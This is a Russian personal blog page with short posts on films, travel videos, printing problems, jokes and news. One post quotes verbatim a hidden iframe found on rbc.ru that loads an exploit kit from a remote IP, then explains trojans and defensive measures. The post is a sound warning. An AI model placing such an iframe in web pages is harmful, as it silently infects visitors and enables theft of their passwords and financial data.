Полезные Сведенья Кухонная Философия Общество и его пороки Новости Еда и Питье Техника Разное Личное Природа Фото/Видео "Веселые" Картинки Юмор
Mar2020Feb2020Jan2020Dec2019Nov2019Oct2019Sep2019Aug2019Jul2019Jun2019May2019Apr2019Mar2019Feb2019Jan2019Dec2018Nov2018Oct2018Sep2018Aug2018Jul2018Jun2018May2018Apr2018Mar2018Feb2018Jan2018Dec2017Nov2017Oct2017Sep2017Aug2017Jul2017Jun2017May2017Apr2017Mar2017Feb2017Jan2017Dec2016Nov2016Oct2016Sep2016Aug2016Jul2016Jun2016May2016Apr2016Mar2016Feb2016Jan2016Dec2015Nov2015Oct2015Sep2015Aug2015Jul2015Jun2015May2015Apr2015Mar2015Feb2015Jan2015Dec2014Nov2014Oct2014Sep2014Aug2014Jul2014Jun2014May2014Apr2014Mar2014Feb2014Jan2014Dec2013Nov2013Oct2013Sep2013Aug2013Jul2013Jun2013May2013Apr2013Mar2013Feb2013Jan2013Dec2012Nov2012Oct2012Sep2012Aug2012Jul2012Jun2012May2012Apr2012Mar2012Feb2012Jan2012Dec2011Nov2011Oct2011Sep2011Aug2011Jul2011Jun2011May2011Apr2011Mar2011Feb2011Jan2011Dec2010Nov2010Oct2010Sep2010Aug2010Jul2010Jun2010May2010Apr2010Mar2010Feb2010Jan2010Dec2009Nov2009Oct2009Sep2009Aug2009Jul2009Jun2009May2009Apr2009Mar2009Feb2009Jan2009Dec2008Nov2008Oct2008Sep2008Aug2008Jul2008Jun2008May2008Apr2008Mar2008Feb2008Jan2008Dec2007Nov2007Oct2007Sep2007Aug2007Jul2007Jun2007May2007Apr2007Mar2007Feb2007Jan2007Dec2006Nov2006Oct2006Sep2006Aug2006Jul2006Jun2006May2006
Дано: Ноутбук с выносным блоком питания, к блоку питания от розетки идет один провод, от блока питания к ноутбуку - другой. Провод, идущий к ноутбуку, постоянно скручивается сам на себя, что явно указывает на то, что он перекручен вокруг оси. Провод идущий от розетки при этом остается ровным. Ну на старом ноуте конец, которым провод втыкался в ноутбук, был круглым и мог крутиться в гнезде, но на новом то конец уже прямоугольный и, следовательно, провод вокруг оси крутиться никак не может. К блоку питания провод тоже закреплен намертво и не крутится. Мистика прям какая-то, но периодически приходится отсоединять провод чтобы выкрутить обратно и распрямить...
Я эту цитату долго искал и не мог найти. Слава богу, свет не без добрых друзей. Очень верное высказывание.
Зачем посмотрел? Ну можно сказать стал жертвой рекламы. Мозолил мне глаза с афиш, поэтому когда на глаза попалась ословая ссылка, не задумываясь закинул ее в закачку. Сказать что жаль потерянного на просмотр времени не могу - мне все равно было нечего делать. Но осталось недоумение. В Голливуде совсем впадают в маразм? Подумал было, что фильм предназначен для детей. Лет этак 7-9. Ан нет, на IMBD преподносится как Action/Fantasy/Thriller. Да и, по здравому рассуждению, многие сцены там явно черезчур сочны для маленьких детишек, хотя уверен, будь он чуть менее жестоким, детишкам оно бы наверняка понравилось, горящий скелет на пафосном мотоцикле - это безусловно выглядит круто, когда тебе лет 7-9. Я не издеваюсь. Но мне уже увы давно не 9. Что порадовало, так это то, что рейтинг на IMBD у фильма всего 5.5, то есть народ справедливо считает что фильм - почти отстой. Для кого снято и зачем - не понятно. Эффекты так себе, действия мало, смысла вообще никакого. Тупорылый "Ультрафиолет" хоть подкупал зрелищностью. Кейджа жалко.Когда то он был неплохим актером.
Как и полагается истинному распиздяю и похуисту, выкладываю более чем через полгода обещанное видео с этой поездки Все три ролика (включая этот) в хорошем качестве, но намного большего размера, можно скачать тут: Видео с озера Куикоча, часть 1 Видео с озера Куикоча, часть 2 Видео с озера Куикоча, часть 3
Продолжение, начало тут Часть Первая На следующий день приезхали в близлежащий город и часа 3 сидели в наиболее пафосном ресторане города (кстати там просто отлично кормят, а цена “пафоса” – 10-15 долларов за трапезу с наполнением до отвала) ожидая “связного”. В итоге оказалось что про нас забыли сообщить и никто бы и не пришел, если бы мы не вызвонили нужных людей по сотовому. Ситуация вполне естественная для Латинской Америки и лично у меня уже не вызывающая ни удивления ни возмущения. В итоге, нагрузив весь багажник едой (да, еду надо везти с собой, хотя покупали ее не мы, а представители “отеля”), отправились по херовой дороге в джунгли. Надо сказать что багажник и так был изрядно нагружен пивом и прочими алкогольными напитками, заметный урон которым и был нанесен моими спутниками прямо по дороге. Шутки шутками, а ящик пива умудрились прямо в машине выжрать. Дорога выглядела примерно так, хотя я, разумеется, ее особо не фотографировал, я баранку крутил: Местами вот так, причем иногда прямо на средину дороги (на картинке еще вполне безопасная ситуация) В итоге часа через 2 жуткой тряски приехали к табличке, знаменующей отель, стоящей возле большого дерева (зацените размер по сравнению с 2х метровым по высоте авто): и стали разгружаться: От таблички вглубь леса уходила стремная тропинка с еще более стремным мостиком
На этот раз отличился Adobe Acrobat Rader. В кои-то веки понадобилось мне распечатать один PDF документ. Собственно, это и документом то сложно назвать, так, форма на одну страницу. Язык - английский, казалось бы проблем не должно быть, ан нет. Дьявольская программа упорно отказывалась печатать бусурманские буквы, раз за разом выдавая на печать мерзопакостные иероглифы. Были перепробованы все имевшиеся версии и даже поставлена самая свежая - результат не менялся. Принтер вовсе не китайский, ну в том смысле что делался вовсе не для китая и прошивку имеет англоязычную хотя сделан он, скорее всего, как раз в Китае. Обычный английский текст по крайней мере печатает без проблем. Но вот вывод Acrodat Reader в PostScript-2 понимать отказывается наглухо. Особенно злят три момента: 1. Метод печати в настройках печати наглухо приколочен гвоздями в PostScript-2 и изменить его нет никакой возможности - теоретически там дроп-лист с разными методами, но он почему-то заблокирован. 2. Такая проблема возникала у меня вовсе не на одном единственном принтере, а на нескольких разных струйных принтерах от различных производителей - как минимум от Epson и Hewlett Packard. 3. Такая ситуация продолжается последние 5 лет, не смотря на то, что за это время сменилось как минимум 4 версии Acrobat Reader. Полнейшее блядство. То что у одного меня такая проблема - НЕ ВЕРЮ. Что, за 5 лет нельзя было решить??? Я могу даже допустить, что проблема не в самом Acrobat Reader-е, а в кривой реализации PostScript в драйверах принтеров (у всех крупнейших производителей сазу???). Но, бля, почему нельзя сделать опцию печати в графическом режиме? Наверняка ведь умеют. Зла не хватает на сволочей. Причем, поскольку печатаю PDF-ы я очень редко (примерно раз в год), каждый раз забываю, как выкручивался в прошлый раз. В этот раз загрузил страницу в Photoshop Elements и распечатал оттуда как графику. В борьбе искусственного интеллекта с естественным в очередной раз проиграл железный болван... Каждый раз пытаюсь найти универсальный драйвер печати в TIFF или что-то похожее, чтобы решить проблему раз и навсегда, но все они стоят немалых денег, а мне это нужно слишком редко, чтобы покупать. Бесплатных, увы, не нахожу. Хотя помню что на заре виндовс эти драйверы были бесплатными и стояли почти везде. Если кто знает где взять такой - черкните плиз в каментах.
Сабж собственно. Скорее в порядке эксперимента и развлечения, чем ради какой-то важной цели. Но вроде работает. Если оно вам нужно - пользуйтесь: http://feeds.feedburner.com/mojbred
Вообще у меня есть видеокамера. Но как то мне лень ее с собой таскать, так как фото она делает плохо, а, как показала практика, наш народ пока что предпочитает фото, видимо в силу бедности и плохих интернет-каналов. Внезапно я вспомнил, что моя фотокамера так же умеет снимать видео. Качество конечно куда хуже видеокамеры, но, как оказалось, вполне приемлимое для выкладывания в инет. Плюс меньше геммороя с конвертацией. Посему начал снимать короткие ролики, коих и наделал несколько штук в последней поездке. Фото я, разумеется, тоже делал, но его выложу позже, если не лень будет. Теперь вот только не могу понять, работает ли embed видео или нет. В опере вроде работает отлично, но вот в IE, который валяется заброшенным и непатченным, почему-то показывает черти-что. С другой стороны, оказалось что этот мой IE нихера и ютубовское видео не показывает. Так что теперь мучаюсь в сомнениях... Небольшая зарисовка водопада Агоян. Сейчас стоящая буквально в 3 км выше электростанция закрыла шлюзы, посему воды в водопаде не много - основная масса идет слева, в то время как при открытых шлюзах справа валит поток раза как минимум в 4 больше. Не собирался кстати снимать тележку с людьми, но она достаточно удачно сама попала в кадр, так что решил продемонстрировать местные туристические средства передвижения. Пользоваться отважится, кстати, далеко не каждый. А это весьма интересное расстение, которое при прикосновении к его листьям сворачивает их. Видео вышло местами нерезкое (опыта съемки видео этой камерой маловато), но переснять не удалось, повторно расстение сворачиваться отказывается, видимо тканям нужен отдых. Но и так видно. Съемка весьма впечатляющей панорамы, вид на джунгли с холма. На видео, конечно, не видно деталей, но на фото в ширину не влазит даже половина вида. Это просто обзор на джунгли, когда мы остановились, пардон, пописать. Было уже изрядно темно, так что качество так себе. ...Зачитать целиком: Немного коротких роликов с последней поездкиТэги: Jun2007 Природа Фото/Видео
Раз уж пошла такая пьянка с флэш-видео, выкладываю небольшой ролик, снятый в прошлом октябре на высокогорном озере Куикоча. Я так видео и не выложил. Это совсем небольшой ролик, снятый ранним утром. Еще есть два огромных, снятых во время экскурсии по озеру. Не уверен, стоит ли их выкладывать. Этот ролик был снят видеокамерой, а не фотокамерой, как, например, эти. Разница весьма существенная, хотя вам, возможно, она и не видна. Разница вовсе не в размере картинки, эту я просто увеличил, а те, наоборот, уменьшил. Но не смотря на это качество изображения намного лучше тут, чем там. Плюс относительно малый размер файла, что определяется меньшим количеством шумов. Впрочем, не удивительно, так и должно быть: видео камера для видео, а фотокамера - для фото.
Только что на rbc.ru наблюдался в странице этот код: <iframe src="http://81.95.150.42/MPack091cbt/index.php" width=0 height=0></iframe> Устанавливающий (в моем случае - пытающийся установить) некий троян. Толи админы там настолько тупорылые, что страницу сломали, то ли это кто-то из них же решил немного подзаработать. Как говориться, охуеть, дайте две... Для тех, кто не знает что это такое, объясняю предельно просто: Эксплоитом в среде русскоговорящих компьютерщиков называется способ насильной установки в ваш компьютер без вашего ведома и согласия некоей, обычно вредоносной, программы путем использования ("эксплуатирования" - отсюда и название) недоделок в популярных программных продуктах - Media Player, WinAmp, ICQ, Outlook/Express, MS Internet Explorer. В данном случае пытаются использовать одну из дыр MS Internet Explorer - при простом просмотре страницы есть риск заполучить трояна. Трояном же называется эта самая незаметно всунутая программа, сидящая обычно более-менее тихо в вашей системе и делающая свое черное дело. Троян может делать что угодно, от вещей почти безобидных до весьма неприятных. Все перечислять не буду, упомяну лишь наиболее серьезные вещи: рассылка спама через ваш компьютер; кража паролей доступа к вашим e-mail аккаунтам, логинов на форумы и т.д.; кража паролей к вашим счетам в webmoney и других платежных системах; кража любой информации которую вы набираете на клавиатуре, в том числе информации о ваших банковских счетах, кредитных картах и т.д. Надеюсь, это вам уже дало представление о том, почему присутствие эксплоита на rbc.ru является вовсе не пустяком. Это все же весьма посещаемый сайт, а издание им владеющее претендует на звание профессионального. На всякий случай напишу, что защищаться от подобных вещей нужно следующим образом: - Постоянно скачивать и устанавливать updates к Windows - Держать включенным firewall (он вроде счас по умолчанию включен в последних версиях Windows) - Поставить антивирус и постоянно обновлять его. Популярным является Касперский, но я рекомендую совершенно бесплатный немецкий продукт Avira AntiVir® PersonalEdition Classic служащий мне верой и правдой уже несколько лет. - По возможности не работать под администратором. Т.е. создать в системе другого пользователя с ограниченными правами и работать под ним (хотя порой это и не удобно). - По возможности не пользоваться MS Internet Explorer, а использовать FireFox или ставший с недавних пор бесплатным для PC Opera Web Browser. - По возможности не пользоваться Windows совсем ;) По двум последним пунктам замечу, что я вовсе не идеологический противник MicroSoft (хотя их продукты часто действительно гавно), но дело в том, что устройство других операционных систем не позволяет так легко впихивать без разрешения какие-либо программ...Зачитать целиком: На rbc.ru висит эксплоит/троянТэги: Jun2007 Разное Новости Полезные сведенья
На этот раз на сайте правительства республики Казахстан. Рано или поздно наверняка подчистят, поэтому вот скриншот с текущего состояния: Напомню, что после подобного флеш-моба примерно год назад на аналогичном российском сайте, самыми задаваемыми президенту Путину вопросами были: 1. Вопрос о том, собирается ли Российская Федерация использовать для обороны своих рубежей огромных человекоподобных роботов. 2. Вопрос о том, зачем Путин поцеловал маленького мальчика Никиту в живот. 3. Вопрос о том, как Путин относится к пробуждению Ктулху.
Оригинал тут, далее избранные места: В 18:55 паркуюсь с видом на каменного Лермонтова. В 18:59 к тому же месту подкатывает вызывающе красный купе-"Мерин", из которого с блаженной улыбкой вываливается Михаил. Выражение лица такое, словно он только что влюбился и одновременно выиграл миллион долларов в лотерею. С легким налетом растафарского пофигизма, усиленного прикидом - шорты, дорогая гавайская рубашка, карибские сандалии на босу ногу… Мне делается совсем не по себе: куда это, собственно, я попал? Ничего не перепутал? Это что - "курьер" россиянской ИТ-компании? Тех самых подвальных фирмешек, коих перевидал туеву хучу, - с гоблинами и программастами, преисполненными нескрываемого презрения к клиентам, этим ничтожным и жалким ламерам? Михаил открывает багажник спортивного купе, извлекает пачку залитых пластиком упаковок с флэшками - на выбор. Беру первую попавшуюся, плачу деньги, жму руку, в полном тумане отчаливаю. Друже мой читатель, нет тех слов, чтобы передать смятение чувств, охвативших старого голубятника: "ИТ-бизнес? Московский? Механическое пианино какое-то!" ....... Такое ощущение, что в моей жизни это уже было… Ну конечно же: 1994 год, Манхэттен, я захожу в Bostonian - с какой-то бухты-барахты решил подарить себе туфли. Чего-нибудь такого, эдакого, дорогого, ну вы понимаете - на дворе стоял 94-й, взаимно-инвестиционные фонды, видеоконференсные системы, за океаном в Москве летали куриные окорочка и пыхтел завод по производству лимонада. Давно это было… Лишь только переступил порог магазина, ко мне подошел огромного роста негр в умопомрачительном костюме, с пятикилобаксовым Tag Heuer на запястье: "Я Джим, head manager Bostonian на Манхэттене. Позвольте мне подобрать для вас подходящую пару обуви". Выбирая туфли, Джим украдкой перехватывал мой взгляд, безошибочно отлавливая флюиды одобрения и неудовольствия. Остановившись на беспроигрышном варианте, он подошел к креслу, на котором я сидел в ожидании, а затем неожиданно присел на корточки и ловким движением руки надел обувку мне на ногу! От неожиданности, невероятности ситуации я инстинктивно подался назад. Джим рассмеялся: "Ну что вы, сэр! Это мой бизнес. Я продаю обувь, я живу обувью и мне очень, - главный менеджер Bostonian выдержал паузу, - мне очень нравится надевать туфли на ноги своих клиентов!" Даже если бы Джим нацепил мне на ногу не 250-долларовый шикарный башмак из тончайшей кожи, а плетеную лаптю, я бы все равно ее купил. За те же деньги. Я бы просто не смог ее не купить. Никто бы не смог. После того, как… ну вы понимаете. Тогда, в далеком 94-м я окончательно понял, что американский бизнес непобедим, потому что у него нет аналогов. Пока нормой работы с клиентом будет поведение менеджера Bostonian, good Ol’ US of A будет рулить торговым миром. Прошло тринадцать лет, и в Москве, в самом диком по дискомфорту секторе рынка - ИТ - появился наконец свой Джим. Роскошный, давно-уже-себе-в-порядке профессиональный менеджер, не гнушающийся запороть субботний вечер и лично отвезти неведомому клиенту копеечную флэшку-туфтушку.
Британские ученые из лондонской Школы гигиены и тропической медицины сравнили данные о 1750 мужчинах, умерших с 2003 по 2005 год в Ижевске на Урале. Исследователи выяснили, что более 40% из этих мужчин принимали алкоголь, не предназначенный для употребления внутрь. Среди таких продуктов ученые называют поддельную водку, одеколоны и лосьоны, антифриз и моющие средства. В этот список попадают и травяные настойки, продающиеся в аптеках. В отчете о результатах исследования сказано, что все эти продукты легко доступны, дешевы и содержат до 97% спирта. Исследователи выяснили также, что в этих продуктах очень мало токсичных веществ, но они смертельно опасны просто из-за чрезмерного уровня содержания алкоголя. "Основная работа, которую мы проделали, это токсикология. Во многих из этих продуктов нет ничего кроме воды, этанола и добавки для запаха. Люди умирают от высокой концентрации алкоголя в дешевой и доступной форме", - говорит возглавляющий группу ученых профессор Дэвид Леон. "За этими вещами необходимо строже следить", - считает он. ========================== Полностью статья тут. Там же есть экспресс-опрос, где народ, как водится, устроил флеш-моб, глосуя за пункт "Регуляно пью одеколон, антифриз или моющие средства". На данный момент за этот пункт проголосовало 87% отвечавших.
... что настала пора опять переделать скрипт этого сайта и сделать как принято - с тегами, более структурированным архивом и прочей поебенью. Систему каментов уже переделал на днях, теперь почти как во всех блогах. Правильно, нехуй было выебываться и изобретать велосипед - следовало пойти и посмотреть как у других сделано. Впрочем, все равно скрипт скорее ради развлечения писался, ради развлечения и переделываться будет, когда делать нечего будет.
Умирает человек. попадает в рай. его встречает апостол Петр. Человек: Простите, что вас беспокою, но у меня к вам есть один вопрос Апостол: Слушаю вас Ч: Скажите, в чем был смысл моей жизни? А: Вам правда нужно это знать? Ч: Очень А: Помните, вы 1983 году ездили в командировку в Краснодар? Ч: Э–э.. ну.. А: И вы еще познакомились в купе с попутчиками Ч: Наверное.. А: И вы пошли вместе в вагон–ресторан Ч: Да.. А: И за соседним столиком сидела женщина Ч: Возможно.. А: И она попросила вас передать ей соль Ч: Эээ.. может быть А: И вы передали ей соль Ч: Скорее всего А: Ну вот…
Очень рекомендую просмотреть. Не только познавательно в плане общественных реалий, но и просто очень смешно.
- И чего нам дома не сиделось!? (А. Гитлер) - Что за сука кинула? (И. Ньютон) - Нет, в целом отдохнули неплохо! И чего они обиделись? (Мамай) - Нихуя себе прогнозик! Нихуя себе дождичек! (Ной) - Какие нафиг ракеты! Мы чуть ли не копьями воюем! (С. Хусейн) - И как эту хуйню доказать? (А. Энштейн) - Заебись формулировочка! (Пифагор) - Бля, про водку надо думать, а в голове какие-то таблицы! (Д. Менделеев) - Да не бойся, всё будет работать! (Б. Гейтс) - Нихуя себе - рассказик! (Л. Толстой) - Кто петь не умеет? Это я петь не умею?! (К. Лель) - Кто пидор? Я пидор? Застрелю, сука! (А. Пушкин) - Сынок, как дела в школе? (Иван IV Грозный) - Живут же блять люди! (Петр I) - Кто дороги не знает? Да я с закрытыми глазами куда хошь вас доведу! (И. Сусанин) - Если это аппендикс, вот это тогда что за хуйня? (Гиппократ) - Щас ещё по стаканчику пацаны и пойдем! Португальцы уже на поле! (М. Измайлов) - Пошли, я знаю короткую дорогу! (Моисей) - Вот это приходы! (Будда) - Да ладно тебе Моника, что ты ломаешся! Кто узнает? (Б. Клинтон) - Да чё я тебя обманывать что ли буду!? (Мефистофель) - Мама, я опять летал во сне! (З. Фрейд) - Ну ведь хуже то не будет! (В. Ленин) - Здесь был мой конь! У меня все ходы записаны, железяка ёбаная! (Г. Каспаров) - Да не нужна нам нефть, мы оружие ищем! В Багдаде все спокойно! (Д. Буш) - Вы меня больше слушайте, я вам ещё и не такой хуйни наговорю! (Конфуций) - В умелых руках и хуй балалайка! (В. Моцарт) - И как эта хуйня полетит? (Ю. Гагарин)
Я, рабъ Божий Васильевъ Дмитрий Михайловичъ, на 30-й минуте управления басурманской самодвижущейся повозкою Мазда 323, будучи одержимъ бесомъ высокомерия, впалъ в грехъ нарушения Заповедей Трактового Передвижения. На перекрестке дорогъ Просвещения и Энгельса (да будет проклят этот антихристъ) я, пренебрегши тем, что семафоръ червленный светъ показывает, при повороте одесницу не пропустил пешехода - отрока с божей тварью псом Тузиком. Нижайше прошу обратить внимание, что Тузик не был намертво принайтован нашейным вервием к вышеозначенному отроку. Тузик, будучи тварью неразумною и одержимый праведным гневом на басурманскую мою повозку, начал лаяти и под колеса мне бросился. Обуянный жалостию ко всякой твари Божией я применил экстренное торможение. В тот моментъ отроковица на повозке азиатской и потому богомерзкой Хюндай Гетцъ совершала маневръ перестроения за мною, и в результате оного из-за моего экстренного торможения совершила наездъ в мою телегу сзади (схему и списокъ повреждений прилаживаю к сему откровению) От удара повозка моя продвинулась впередъ и задавила Тузика нахренъ. От оных полученных повреждений тварь Божия Тузик преставилась на месте, о чем скорблю я по сей день печалью безутешною. Признавая за собой грехъ нарушения пп.1.3 и 1.5 Заповедей Трактового Передвижения готов понести епитимью и пожертвовать районному Храму Воинов Дорог белого быка или равнозначный денежный оброкъ. В порче же обеих повозокъ виновным себя не признаю, поелику отроковица не соблюдала положенную ей дистанцию, законом свыше нам данную, и вообще бабой неразумной является, причиной грехопадения Адамова
В оригинале "Live Free or Die Hard". На IMDB уже имеет достаточно высокий рейтинг 8.4 из 10. Брюс Виллис сказал, что лично он считает этот фильм лучшим из 4х. UPDATE: При всем моем уважении к Брюсу Виллису, после просмотра фильма могу сказать, что он таки не лучший из серии. Нет, все вполне на уровне, спецэффекты спецэффектят, злодеи злодеят, хорошие парни побеждают, Брюс Виллис весьма на уровне не смотря на годы и к нему у меня никаких претензий нет, но вот кино в целом как-то не вставляет. Как в анекдоте про фальшивые елочные игрушки. Ну, по крайней мере, не вставляет так, как те старые. Что-то голливуд потерял за эти годы. Вероятно душу. Хотя, может, это просто я состарился...
Случаи из жизни (не из моей): Подруга достала писать смс до часу ночи каждый день. Написал прогу на смарт, которая на все смс автоматом отвечает- "Да, любимая", "Конечно","очень" в произвольном порядке утром увидел 264 входяших смс и последняя от моей блондинки в 5:45 с текстом "Да когда ж ты сука, уснешь?!" Значит так. Стоим мы в пробке (стандартное, в последнее время,занятие;). Перед моим носом стоит 9-ка, и ОБАЛДЕННЫЕ белокурые волосы за рулем.Вдруг эта 9-ка включает огни заднего хода! Естественная реакция (и нетолько у меня, еще машин 6 отозвалось) руку на клаксон - такойзамечательный хор из БИБИ но вот что дальше... А дальше (ВНИМАНИЕ) огни гаснут, из машины выходит ОБАЛДЕННАЯ блондинка,и громко выдает всем: "Саичку за испуг!!!!!!"